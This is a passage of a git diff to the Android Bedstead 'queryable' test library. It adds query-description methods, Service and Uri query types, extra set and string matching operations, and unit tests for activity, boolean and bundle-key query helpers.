+                mKeyQueryHelpers.entrySet()) {
+            queryStrings.add(query.getValue().describeQuery(fieldName + "." + query.getKey()));
+        }
+
+        return Queryable.joinQueryStrings(queryStrings);
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQueryHelper.java
index 3cc8557..76902df 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQueryHelper.java
@@ -19,13 +19,17 @@
 import com.android.queryable.Queryable;
 
 import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.List;
 
 /** Implementation of {@link SerializableQuery}. */
 public final class SerializableQueryHelper<E extends Queryable>
         implements SerializableQuery<E>, Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
-    private Serializable mEqualsValue = null;
+    private Serializable mEqualsValue;
 
     SerializableQueryHelper() {
         mQuery = (E) this;
@@ -49,4 +53,14 @@
 
         return true;
     }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        List<String> queryStrings = new ArrayList<>();
+        if (mEqualsValue != null) {
+            queryStrings.add(fieldName + "=" + mEqualsValue);
+        }
+
+        return Queryable.joinQueryStrings(queryStrings);
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ServiceQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ServiceQuery.java
new file mode 100644
index 0000000..ca5bd5b
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ServiceQuery.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import android.app.Service;
+import android.content.IntentFilter;
+
+import com.android.queryable.Queryable;
+import com.android.queryable.info.ServiceInfo;
+
+/**
+ * Query for an {@link Service}.
+ *
+ * @param <E> Type of query.
+ */
+public interface ServiceQuery<E extends Queryable> extends Query<ServiceInfo>  {
+
+    /** Create a {@link ServiceQueryHelper}. */
+    static ServiceQuery<ServiceQuery<?>> service() {
+        return new ServiceQueryHelper<>();
+    }
+
+    /** Used to query the class name of a service. */
+    ClassQuery<E> serviceClass();
+
+    /** Query the intent-filters on an activity. */
+    SetQuery<E, IntentFilter, IntentFilterQuery<?>> intentFilters();
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ServiceQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ServiceQueryHelper.java
new file mode 100644
index 0000000..90e437c
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ServiceQueryHelper.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import android.content.IntentFilter;
+
+import com.android.queryable.Queryable;
+import com.android.queryable.info.ServiceInfo;
+
+/**
+ * Implementation of {@link ServiceQuery}.
+ *
+ * @param <E> Type of query.
+ */
+public final class ServiceQueryHelper<E extends Queryable> implements ServiceQuery<E> {
+
+    private final E mQuery;
+    private final ClassQueryHelper<E> mServiceClassQueryHelper;
+    private final SetQueryHelper<E, IntentFilter, IntentFilterQuery<?>>
+            mIntentFiltersQueryHelper;
+
+    ServiceQueryHelper() {
+        mQuery = (E) this;
+        mServiceClassQueryHelper = new ClassQueryHelper<>(mQuery);
+        mIntentFiltersQueryHelper = new SetQueryHelper<>(mQuery);
+    }
+
+    public ServiceQueryHelper(E query) {
+        mQuery = query;
+        mServiceClassQueryHelper = new ClassQueryHelper<>(query);
+        mIntentFiltersQueryHelper = new SetQueryHelper<>(query);
+    }
+
+    @Override
+    public ClassQuery<E> serviceClass() {
+        return mServiceClassQueryHelper;
+    }
+
+    @Override
+    public SetQuery<E, IntentFilter, IntentFilterQuery<?>> intentFilters() {
+        return mIntentFiltersQueryHelper;
+    }
+
+    @Override
+    public boolean matches(ServiceInfo value) {
+        return mServiceClassQueryHelper.matches(value)
+                && mIntentFiltersQueryHelper.matches(value.intentFilters());
+    }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        return Queryable.joinQueryStrings(
+                mServiceClassQueryHelper.describeQuery(fieldName + ".service"),
+                mIntentFiltersQueryHelper.describeQuery(fieldName + ".intentFilters")
+        );
+    }
+
+    /**
+     * Check if a {@link ServiceQueryHelper} matches the service represented by a
+     * {@link ServiceInfo}.
+     */
+    public static boolean matches(ServiceQueryHelper<?> serviceQueryHelper, ServiceInfo value) {
+        return serviceQueryHelper.matches(value);
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQuery.java
index acb1cc9..63c45a2 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQuery.java
@@ -16,19 +16,70 @@
 
 package com.android.queryable.queries;
 
+import androidx.annotation.CheckResult;
+
 import com.android.queryable.Queryable;
 
+import java.util.Collection;
 import java.util.Set;
 
-/** Query for a {@link java.util.Set}. */
+/** Query for a {@link Set}. */
 public interface SetQuery<E extends Queryable, F, G extends Query<F>> extends Query<Set<F>> {
 
+    /** Queries a {@link Set}. */
     static SetQuery<SetQuery<?, ?, ?>, ?, ?> set() {
         return new SetQueryHelper<>();
     }
 
+    /** Queries the size of the set. */
+    @CheckResult
     IntegerQuery<E> size();
+    E isEmpty();
+    E isNotEmpty();
 
+    /**
+     * Used to query whether a set contains certain objects.
+     */
     E contains(G... objects);
+
+    /**
+     * Used to query whether a set contains certain objects.
+     *
+     * <p>There are no bounds on the type for this method and therefore to find matches objects are
+     * compared using {@link Object#equals} If you are not checking for equality use
+     * {@link #contains(Query[])}.
+     */
+    E contains(F... objects);
+
+    /**
+     * Used to query whether a set does not contain certain objects.
+     */
     E doesNotContain(G... objects);
+
+    /**
+     * Used to query whether a set does not contain certain objects.
+     *
+     * <p>There are no bounds on the type for this method and therefore to find matches objects are
+     * compared using {@link Object#equals} If you are not checking for equality use
+     * {@link #contains(Query[])}.
+     */
+    E doesNotContain(F... objects);
+
+    /**
+     * Used to query whether a set contains all of the elements from a collection.
+     *
+     * <p>There are no bounds on the type for this method and therefore to find matches objects are
+     * compared using {@link Object#equals} If you are not checking for equality use
+     * {@link #contains(Query[])}.
+     */
+    <H extends Collection<F>> E containsAll(H... collections);
+
+    /**
+     * Used to query whether a set does not contain any elements given in a collection.
+     *
+     * <p>There are no bounds on the type for this method and therefore to find matches objects are
+     * compared using {@link Object#equals} If you are not checking for equality use
+     * {@link #contains(Query[])}.
+     */
+    <H extends Collection<F>> E doesNotContainAny(H... collections);
 }
\ No newline at end of file
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQueryHelper.java
index 075d860..089a508 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQueryHelper.java
@@ -19,16 +19,25 @@
 import com.android.queryable.Queryable;
 
 import java.io.Serializable;
+import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collection;
 import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
 import java.util.Set;
+import java.util.stream.Collectors;
 
 public final class SetQueryHelper<E extends Queryable, F, G extends Query<F>> implements SetQuery<E, F, G>, Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private E mQuery;
     private final IntegerQueryHelper<E> mSizeQuery;
-    private final Set<G> mContains = new HashSet<>();
-    private final Set<G> mDoesNotContain = new HashSet<>();
+    private final Set<G> mContainsByQuery = new HashSet<>();
+    private final Set<F> mContainsByType = new HashSet<>();
+    private final Set<G> mDoesNotContainByQuery = new HashSet<>();
+    private final Set<F> mDoesNotContainByType = new HashSet<>();
 
     SetQueryHelper() {
         mQuery = (E) this;
@@ -46,18 +55,63 @@
     }
 
     @Override
+    public E isEmpty() {
+        return size().isEqualTo(0);
+    }
+
+    @Override
+    public E isNotEmpty() {
+        return size().isGreaterThanOrEqualTo(1);
+    }
+
+
+    @Override
     public E contains(G... objects) {
-        mContains.addAll(Arrays.asList(objects));
+        mContainsByQuery.addAll(Arrays.asList(objects));
+        return mQuery;
+    }
+
+    @Override
+    public E contains(F... objects) {
+        mContainsByType.addAll(Arrays.asList(objects));
         return mQuery;
     }
 
     @Override
     public E doesNotContain(G... objects) {
-        mDoesNotContain.addAll(Arrays.asList(objects));
+        mDoesNotContainByQuery.addAll(Arrays.asList(objects));
         return mQuery;
     }
 
     @Override
+    public E doesNotContain(F... objects) {
+        mDoesNotContainByType.addAll(Arrays.asList(objects));
+        return mQuery;
+    }
+
+    @Override
+    public <H extends Collection<F>> E containsAll(H... collections) {
+        for (H collection : collections) {
+            Iterator<F> iterator = collection.iterator();
+            while (iterator.hasNext()) {
+                contains(iterator.next());
+            }
+        }
+        return  mQuery;
+    }
+
+    @Override
+    public <H extends Collection<F>> E doesNotContainAny(H... collections) {
+        for (H collection : collections) {
+            Iterator<F> iterator = collection.iterator();
+            while (iterator.hasNext()) {
+                doesNotContain(iterator.next());
+            }
+        }
+        return  mQuery;
+    }
+
+    @Override
     public boolean matches(Set<F> value) {
         if (!mSizeQuery.matches(value.size())) {
             return false;
@@ -74,10 +128,23 @@
         return true;
     }
 
+    public static <F> boolean matches(SetQuery<?, F, ?> query, Set<F> value) {
+        return query.matches(value);
+    }
+
     private boolean checkContainsAtLeast(Set<F> value) {
         Set<F> v = new HashSet<>(value);
 
-        for (G containsAtLeast : mContains) {
+        for (F containsAtLeast : mContainsByType) {
+            F match = findMatch(containsAtLeast, v);
+
+            if (match == null) {
+                return false;
+            }
+            v.remove(match);
+        }
+
+        for (G containsAtLeast : mContainsByQuery) {
             F match = findMatch(containsAtLeast, v);
 
             if (match == null) {
@@ -90,7 +157,13 @@
     }
 
     private boolean checkDoesNotContain(Set<F> value) {
-        for (G doesNotContain : mDoesNotContain) {
+        for (F doesNotContain : mDoesNotContainByType) {
+            if (findMatch(doesNotContain, value) != null) {
+                return false;
+            }
+        }
+
+        for (G doesNotContain : mDoesNotContainByQuery) {
             if (findMatch(doesNotContain, value) != null) {
                 return false;
             }
@@ -108,4 +181,36 @@
 
         return null;
     }
+
+    private F findMatch(F object, Set<F> values) {
+        return values.contains(object) ? object : null;
+    }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        List<String> queryStrings = new ArrayList<>();
+        queryStrings.add(mSizeQuery.describeQuery(fieldName + ".size"));
+        if (!mContainsByQuery.isEmpty()) {
+            queryStrings.add(fieldName + " contains matches of ["
+                    + mContainsByQuery.stream().map(t -> "{" + t.describeQuery("")
+                    + "}").collect(Collectors.joining(", ")) + "]");
+        }
+        if (!mContainsByType.isEmpty()) {
+            queryStrings.add(fieldName + " contains ["
+                    + mContainsByType.stream().map(Object::toString)
+                    .collect(Collectors.joining(", ")) + "]");
+        }
+
+        if (!mDoesNotContainByQuery.isEmpty()) {
+            queryStrings.add(fieldName + " does not contain anything matching any of ["
+                    + mDoesNotContainByQuery.stream().map(t -> "{" + t.describeQuery("")
+                    + "}").collect(Collectors.joining(", ")) + "]");
+        }
+        if (!mDoesNotContainByType.isEmpty()) {
+            queryStrings.add(fieldName + " does not contain ["
+                    + mDoesNotContainByType.stream().map(Object::toString)
+                    .collect(Collectors.joining(", ")) + "]");
+        }
+        return Queryable.joinQueryStrings(queryStrings);
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQuery.java
index 03c32b9..2db0fa5 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQuery.java
@@ -18,15 +18,14 @@
 
 import com.android.queryable.Queryable;
 
-import java.io.Serializable;
-
-/** Query for a {@link String}. */
-public interface StringQuery<E extends Queryable> extends Query<String> {
+/**
+ * Query for a {@link String}.
+ *
+ * @param <E> Type of query
+ */
+public interface StringQuery<E extends Queryable> extends NullableQuery<E, String> {
 
     static StringQuery<StringQuery<?>> string() {
         return new StringQueryHelper<>();
     }
-
-    /** Require the {@link String} is equal to {@code string}. */
-    E isEqualTo(String string);
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQueryHelper.java
index 1da32d9..05ef5ae 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQueryHelper.java
@@ -19,13 +19,20 @@
 import com.android.queryable.Queryable;
 
 import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
 
 /** Implementation of {@link StringQuery}. */
 public final class StringQueryHelper<E extends Queryable>
         implements StringQuery<E>, Serializable{
 
-    private final E mQuery;
-    private String mEqualsValue = null;
+    private static final long serialVersionUID = 1;
+
+    private final transient E mQuery;
+    private String mEqualsValue;
+    private Set<String> mNotEqualsValues = new HashSet<>();
 
     StringQueryHelper() {
         mQuery = (E) this;
@@ -37,7 +44,13 @@
 
     @Override
     public E isEqualTo(String string) {
-        this.mEqualsValue = string;
+        mEqualsValue = string;
+        return mQuery;
+    }
+
+    @Override
+    public E isNotEqualTo(String string) {
+        mNotEqualsValues.add(string);
         return mQuery;
     }
 
@@ -46,6 +59,9 @@
         if (mEqualsValue != null && !mEqualsValue.equals(value)) {
             return false;
         }
+        if (mNotEqualsValues.contains(value)) {
+            return false;
+        }
 
         return true;
     }
@@ -53,4 +69,32 @@
     public static boolean matches(StringQueryHelper<?> stringQueryHelper, String value) {
         return stringQueryHelper.matches(value);
     }
+
+    /**
+     * True if this query has not been configured.
+     */
+    public boolean isEmpty() {
+        return mEqualsValue == null && mNotEqualsValues.isEmpty();
+    }
+
+    /**
+     * True if this query is for an exact string match.
+     */
+    public boolean isQueryingForExactMatch() {
+        return mEqualsValue != null;
+    }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        List<String> queryStrings = new ArrayList<>();
+        if (mEqualsValue != null) {
+            queryStrings.add(fieldName + "=\"" + mEqualsValue + "\"");
+        }
+
+        for (String notEquals : mNotEqualsValues) {
+            queryStrings.add(fieldName + "!=\"" + notEquals + "\"");
+        }
+
+        return Queryable.joinQueryStrings(queryStrings);
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UriQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UriQuery.java
new file mode 100644
index 0000000..d242c2f
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UriQuery.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import android.net.Uri;
+
+import androidx.annotation.CheckResult;
+
+import com.android.queryable.Queryable;
+
+/** Query for a {@link Uri}. */
+public interface UriQuery<E extends Queryable> extends Query<Uri> {
+
+    /** Queries a {@link Uri}. */
+    static UriQuery<UriQuery<?>> uri() {
+        return new UriQueryHelper<>();
+    }
+
+    /** Gets the {@link String} value of the {@link Uri}. */
+    @CheckResult
+    StringQuery<E> stringValue();
+
+    /** Requires the {@link Uri} is equal to {@code uri}. */
+    E isEqualTo(Uri uri);
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UriQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UriQueryHelper.java
new file mode 100644
index 0000000..c844ce2
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UriQueryHelper.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import android.net.Uri;
+
+import com.android.queryable.Queryable;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.List;
+
+/** Implementation of {@link UriQuery}. */
+public final class UriQueryHelper<E extends Queryable>
+        implements UriQuery<E>, Serializable{
+
+    private static final long serialVersionUID = 1;
+
+    private final E mQuery;
+    private Uri mEqualsValue;
+    private final StringQueryHelper<E> mStringValue = new StringQueryHelper<>();
+
+    UriQueryHelper() {
+        mQuery = (E) this;
+    }
+
+    public UriQueryHelper(E query) {
+        mQuery = query;
+    }
+
+    @Override
+    public E isEqualTo(Uri uri) {
+        this.mEqualsValue = uri;
+        return mQuery;
+    }
+
+    @Override
+    public StringQuery<E> stringValue() {
+        return mStringValue;
+    }
+
+    @Override
+    public boolean matches(Uri value) {
+        if (mEqualsValue != null && !mEqualsValue.equals(value)) {
+            return false;
+        }
+        if (!mStringValue.matches(value.toString())) {
+            return false;
+        }
+
+        return true;
+    }
+
+    /**
+     * {@code true} if all filters are met by the {@link Uri} contained in
+     * {@code serializableUri}.
+     */
+    public boolean matches(SerializableParcelWrapper<Uri> serializableUri) {
+        if ((serializableUri == null || serializableUri.get() == null)) {
+            return false;
+        }
+
+        return matches(serializableUri.get());
+    }
+
+    /**
+     * @see #matches(Uri).
+     */
+    public static boolean matches(UriQueryHelper<?> uriQueryHelper, Uri value) {
+        return uriQueryHelper.matches(value);
+    }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        List<String> queryStrings = new ArrayList<>();
+        if (mEqualsValue != null) {
+            queryStrings.add(fieldName + "=" + mEqualsValue);
+        }
+        if (mStringValue != null) {
+            queryStrings.add(mStringValue.describeQuery(fieldName + ".stringValue"));
+        }
+
+        return Queryable.joinQueryStrings(queryStrings);
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQueryHelper.java
index 0977fe3..9bf2824 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQueryHelper.java
@@ -18,18 +18,22 @@
 
 import android.os.UserHandle;
 
-import com.android.queryable.util.SerializableParcelWrapper;
 import com.android.queryable.Queryable;
+import com.android.queryable.util.SerializableParcelWrapper;
 
 import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.List;
 
 /** Implementation of {@link UserHandleQuery}. */
 public final class UserHandleQueryHelper<E extends Queryable>
         implements UserHandleQuery<E>, Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
-    private UserHandle mEqualsValue = null;
-    private IntegerQueryHelper<E> mIdQuery = null;
+    private UserHandle mEqualsValue;
+    private IntegerQueryHelper<E> mIdQuery;
 
     UserHandleQueryHelper() {
         mQuery = (E) this;
@@ -80,4 +84,17 @@
 
         return matches(serializableBundle.get());
     }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        List<String> queryStrings = new ArrayList<>();
+        if (mEqualsValue != null) {
+            queryStrings.add(fieldName + "=" + mEqualsValue);
+        }
+        if (mIdQuery != null) {
+            queryStrings.add(mIdQuery.describeQuery(fieldName + ".id"));
+        }
+
+        return Queryable.joinQueryStrings(queryStrings);
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ActivityQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ActivityQueryHelperTest.java
index 9dfd5f4..55a6b99 100644
--- a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ActivityQueryHelperTest.java
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/ActivityQueryHelperTest.java
@@ -16,9 +16,12 @@
 
 package com.android.queryable.queries;
 
+import static com.android.queryable.queries.IntentFilterQuery.intentFilter;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import android.app.Activity;
+import android.content.IntentFilter;
 
 import com.android.queryable.Queryable;
 import com.android.queryable.info.ActivityInfo;
@@ -27,6 +30,8 @@
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
+import java.util.Set;
+
 @RunWith(JUnit4.class)
 public class ActivityQueryHelperTest {
 
@@ -36,6 +41,7 @@
 
     private static final String CLASS_1_CLASS_NAME = CLASS_1.getName();
 
+    private static final IntentFilter INTENT_FILTER_WITH_ACTION = new IntentFilter("action");
     private static final android.content.pm.ActivityInfo FRAMEWORK_ACTIVITY_INFO_1 =
             createActivityInfo(CLASS_1_CLASS_NAME, /* exported= */ false);
     private static final android.content.pm.ActivityInfo FRAMEWORK_ACTIVITY_INFO_2 =
@@ -54,6 +60,10 @@
     private static final ActivityInfo CLASS_1_ACTIVITY_INFO = ActivityInfo.builder(FRAMEWORK_ACTIVITY_INFO_1).build();
     private static final ActivityInfo EXPORTED_ACTIVITY_INFO = ActivityInfo.builder(EXPORTED_FRAMEWORK_ACTIVITY_INFO).build();
     private static final ActivityInfo CLASS_2_ACTIVITY_INFO = ActivityInfo.builder(FRAMEWORK_ACTIVITY_INFO_2).build();
+    private static final ActivityInfo INTENT_FILTER_ACTIVITY_INFO = ActivityInfo.builder()
+            .activityClass(CLASS_1_CLASS_NAME)
+            .intentFilters(Set.of(INTENT_FILTER_WITH_ACTION))
+            .build();
 
     @Test
     public void matches_noRestrictions_returnsTrue() {
@@ -99,4 +109,26 @@
         assertThat(activityQueryHelper.matches(EXPORTED_ACTIVITY_INFO)).isFalse();
     }
 
+    @Test
+    public void matches_intentFilters_matches_returnsTrue() {
+        ActivityQueryHelper<Queryable> activityQueryHelper = new ActivityQueryHelper<>(mQuery);
+
+        activityQueryHelper.intentFilters().contains(
+                intentFilter().actions().contains("action")
+        );
+
+        assertThat(activityQueryHelper.matches(INTENT_FILTER_ACTIVITY_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_intentFilters_doesNotMatch_returnsFalse() {
+        ActivityQueryHelper<Queryable> activityQueryHelper = new ActivityQueryHelper<>(mQuery);
+
+        activityQueryHelper.intentFilters().doesNotContain(
+                intentFilter().actions().contains("action")
+        );
+
+        assertThat(activityQueryHelper.matches(INTENT_FILTER_ACTIVITY_INFO)).isFalse();
+    }
+
 }
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/BooleanQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/BooleanQueryHelperTest.java
index 1dc6504..b1f8a98 100644
--- a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/BooleanQueryHelperTest.java
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/BooleanQueryHelperTest.java
@@ -71,7 +71,7 @@
     @Test
     public void matches_equalsTrue_valueIsTrue_returnsTrue() {
         BooleanQueryHelper<Queryable> booleanQueryHelper = new BooleanQueryHelper<>(mQuery);
-        booleanQueryHelper.equals(true);
+        booleanQueryHelper.isEqualTo(true);
 
         assertThat(booleanQueryHelper.matches(true)).isTrue();
     }
@@ -79,7 +79,7 @@
     @Test
     public void matches_equalsTrue_valueIsFalse_returnsFalse() {
         BooleanQueryHelper<Queryable> booleanQueryHelper = new BooleanQueryHelper<>(mQuery);
-        booleanQueryHelper.equals(true);
+        booleanQueryHelper.isEqualTo(true);
 
         assertThat(booleanQueryHelper.matches(false)).isFalse();
     }
@@ -87,7 +87,7 @@
     @Test
     public void matches_equalsFalse_valueIsTrue_returnsFalse() {
         BooleanQueryHelper<Queryable> booleanQueryHelper = new BooleanQueryHelper<>(mQuery);
-        booleanQueryHelper.equals(false);
+        booleanQueryHelper.isEqualTo(false);
 
         assertThat(booleanQueryHelper.matches(true)).isFalse();
     }
@@ -95,7 +95,7 @@
     @Test
     public void matches_equalsFalse_valueIsFalse_returnsTrue() {
         BooleanQueryHelper<Queryable> booleanQueryHelper = new BooleanQueryHelper<>(mQuery);
-        booleanQueryHelper.equals(false);
+        booleanQueryHelper.isEqualTo(false);
 
         assertThat(booleanQueryHelper.matches(false)).isTrue();
     }
diff --git a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/BundleKeyQueryHelperTest.java b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/BundleKeyQueryHelperTest.java
index 9557bcb..edb4757 100644
--- a/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/BundleKeyQueryHelperTest.java
+++ b/common/device-side/bedstead/queryable/src/test/java/com/android/queryable/queries/BundleKeyQueryHelperTest.java
@@ -27,6 +27,8 @@
 import org.junit.runners.JUnit4;
 
 import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.Arrays;
 
 @RunWith(JUnit4.class)
 public class BundleKeyQueryHelperTest {
@@ -35,6 +37,18 @@
     private static final String KEY2 = "Key2";
     private static final String STRING_VALUE = "String";
     private static final String DIFFERENT_STRING_VALUE = "String2";
+    private static final int INTEGER_VALUE = 1;
+    private static final int DIFFERENT_INTEGER_VALUE = 2;
+    private static final long LONG_VALUE = 1;
+    private static final int DIFFERENT_LONG_VALUE = 2;
+    private static final ArrayList<String> STRING_LIST_VALUE = new ArrayList<String>(
+            Arrays.asList(".", "..", "..."));
+    private static final ArrayList<String> DIFFERENT_STRING_LIST_VALUE = new ArrayList<String>(
+            Arrays.asList("|||", "||", "|"));
+    private static final ArrayList<Integer> INTEGER_LIST_VALUE = new ArrayList<Integer>(
+            Arrays.asList(1, 2, 3));
+    private static final ArrayList<Integer> DIFFERENT_INTEGER_LIST_VALUE = new ArrayList<Integer>(
+            Arrays.asList(4, 5, 6));
 
     private final Queryable mQuery = null;
     private final Bundle mBundle = new Bundle();
@@ -161,4 +175,114 @@
 
         assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isFalse();
     }
+
+    @Test
+    public void matches_integerValueRestriction_meetsRestriction_returnsTrue() {
+        mBundle.putInt(KEY, INTEGER_VALUE);
+        BundleKeyQueryHelper<Queryable> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.integerValue().isEqualTo(INTEGER_VALUE);
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_integerValueRestriction_doesNotMeetRestriction_returnsFalse() {
+        mBundle.putInt(KEY, INTEGER_VALUE);
+        BundleKeyQueryHelper<Queryable> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.integerValue().isEqualTo(DIFFERENT_INTEGER_VALUE);
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isFalse();
+    }
+
+    @Test
+    public void matches_LongValueRestriction_meetsRestriction_returnsTrue() {
+        mBundle.putLong(KEY, LONG_VALUE);
+        BundleKeyQueryHelper<Queryable> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.longValue().isEqualTo(LONG_VALUE);
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_longValueRestriction_doesNotMeetRestriction_returnsFalse() {
+        mBundle.putLong(KEY, LONG_VALUE);
+        BundleKeyQueryHelper<Queryable> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.longValue().isEqualTo(DIFFERENT_LONG_VALUE);
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isFalse();
+    }
+
+    @Test
+    public void matches_booleanValueRestriction_meetsRestriction_returnsTrue() {
+        mBundle.putBoolean(KEY, true);
